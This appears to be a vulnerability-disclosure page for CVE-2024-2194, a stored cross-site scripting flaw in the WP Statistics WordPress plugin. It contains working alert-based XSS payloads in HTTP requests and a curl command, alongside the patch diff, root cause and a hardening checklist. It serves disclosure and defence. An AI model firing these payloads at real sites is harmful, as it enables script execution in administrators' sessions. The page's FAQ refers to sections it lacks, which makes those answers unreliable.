SECURITY ADVISORY / 01

CVE-2024-2194 Exploit & Vulnerability Analysis

Complete CVE-2024-2194 security advisory with proof of concept (PoC), exploit details, and patch analysis for wp-statistics.

wp-statistics products NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

An unauthenticated attacker can inject arbitrary JavaScript into WordPress admin pages by crafting a malicious URL that WP Statistics processes and reflects without proper escaping.

GET /wp-admin/admin.php?page=wps_pages_menu&uri=<img%20src=x%20onerror=alert('XSS')> HTTP/1.1
Host: target.local
User-Agent: Mozilla/5.0

When a logged-in WordPress admin visits a page containing statistics data, the injected payload executes in their browser context. The attacker observes the JavaScript alert dialog fire, confirming code execution. The payload persists because WP Statistics stores the malicious URI string in its database and reflects it on subsequent page loads without escaping.

To demonstrate stored XSS, the attacker first poisons the statistics table by accessing a crafted URL:

curl -i "http://target.local/index.php?p=1" \
  -H "User-Agent: Mozilla/5.0" \
  -H "Referer: http://target.local/" \
  --data-raw "uri=<img%20src=x%20onerror=alert('Stored%20XSS%20executed')>"

The malicious URI is logged. On the second request, when an admin views the WP Statistics pages report:

GET /wp-admin/admin.php?page=wps_pages_menu HTTP/1.1
Host: target.local
Cookie: wordpress_logged_in=<admin_session_token>

The stored payload renders unescaped in the page title or URL display field, triggering execution in the admin's session.


What the Patch Did

Before:

$list[] = array(
    'title'     => $page_info['title'],
    'link'      => $page_info['link'],
    'str_url'   => urldecode($item->uri),
    'hits_page' => Menus::admin_url('pages', array('ID' => $item->id, 'type' => $item->type)),
    'number'    => number_format_i18n($item->count_sum)
);

After:

$list[] = array(
    'title'     => esc_html($page_info['title']),
    'link'      => $page_info['link'],
    'str_url'   => esc_url(urldecode($item->uri)),
    'hits_page' => Menus::admin_url('pages', array('ID' => $item->id, 'type' => $item->type)),
    'number'    => number_format_i18n($item->count_sum)
);

The patch adds two output-escaping functions from the WordPress API. The esc_html() call on the title field converts dangerous characters (<, >, &, ", ') into HTML entities, preventing any HTML or JavaScript interpretation when the title renders in a template. The esc_url() call on the str_url field validates the URI and escapes it for safe inclusion in HTML attributes or links, blocking javascript: protocol handlers and other dangerous URL schemes.


Root Cause

CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting).

The vulnerability exists at the trust boundary between user-controlled request data and HTML output. When a WordPress site visitor accesses a URL with a crafted uri parameter (or when WP Statistics tracks a request containing a malicious Referer or User-Agent), that data enters the $item->uri database column unvalidated. When the plugin constructs the admin statistics page, it retrieves this stored URI from the database and assigns it directly to the str_url array element without escaping. The template then renders this array element into HTML without further sanitization, allowing the attacker's injected script to execute in any admin's browser that views the statistics page.


Why It Works

The critical line is esc_url(urldecode($item->uri)). If you remove esc_url() but keep urldecode(), the bug remains exploitable: urldecode() only translates URL-encoded characters (e.g., %20 → space) and does not prevent XSS. An attacker can still inject <img src=x> unencoded in the URI parameter, and it renders as executable HTML.

The engineer added esc_html() to the title field as defence-in-depth, even though title data typically comes from page post metadata. This demonstrates layered escaping: assume that any data touching the template layer might be attacker-controlled, and escape it according to its output context (HTML text vs. URL). The combination ensures that even if an admin or configuration mistake allows untrusted data into the title field, the HTML escaping still prevents breakout.


Hardening Checklist

  • Add output escaping at the template boundary: Use context-appropriate WordPress escape functions (esc_html(), esc_attr(), esc_url(), esc_js()) on every variable rendered in HTML, regardless of its source. Do not assume database data is clean.

  • Implement sanitize_text_field() or wp_kses_post() on input ingestion: When logging page visits via $_SERVER['REQUEST_URI'] or Referer headers, sanitize these values immediately before database insertion to reduce stored XSS surface area.

  • Use nonces to protect admin forms: Add wp_verify_nonce() checks to any admin page that processes user input, blocking CSRF attacks that could trick admins into triggering the XSS via malicious links.

  • Enable WordPress security headers in templates: Implement a Content-Security-Policy that disallows inline scripts ('unsafe-inline' excluded), which would have blocked the onerror= handler even if escaping had been missing.

  • Audit template rendering for unescaped variables: Run a static analysis tool such as PHPCS with the WordPress.Security.EscapeOutput standard on all template files to catch instances of echo, print, or variable interpolation without escape functions.


References

  • https://nvd.nist.gov/vuln/detail/CVE-2024-2194

Frequently asked questions about CVE-2024-2194

What is CVE-2024-2194?

CVE-2024-2194 is a security vulnerability identified in wp-statistics. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2024-2194?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2024-2194. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2024-2194 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology affecting wp-statistics. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2024-2194?

CVE-2024-2194 affects wp-statistics. Check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2024-2194?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls for wp-statistics.

What is the CVSS score for CVE-2024-2194?

The severity rating and CVSS scoring for CVE-2024-2194 affecting wp-statistics is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.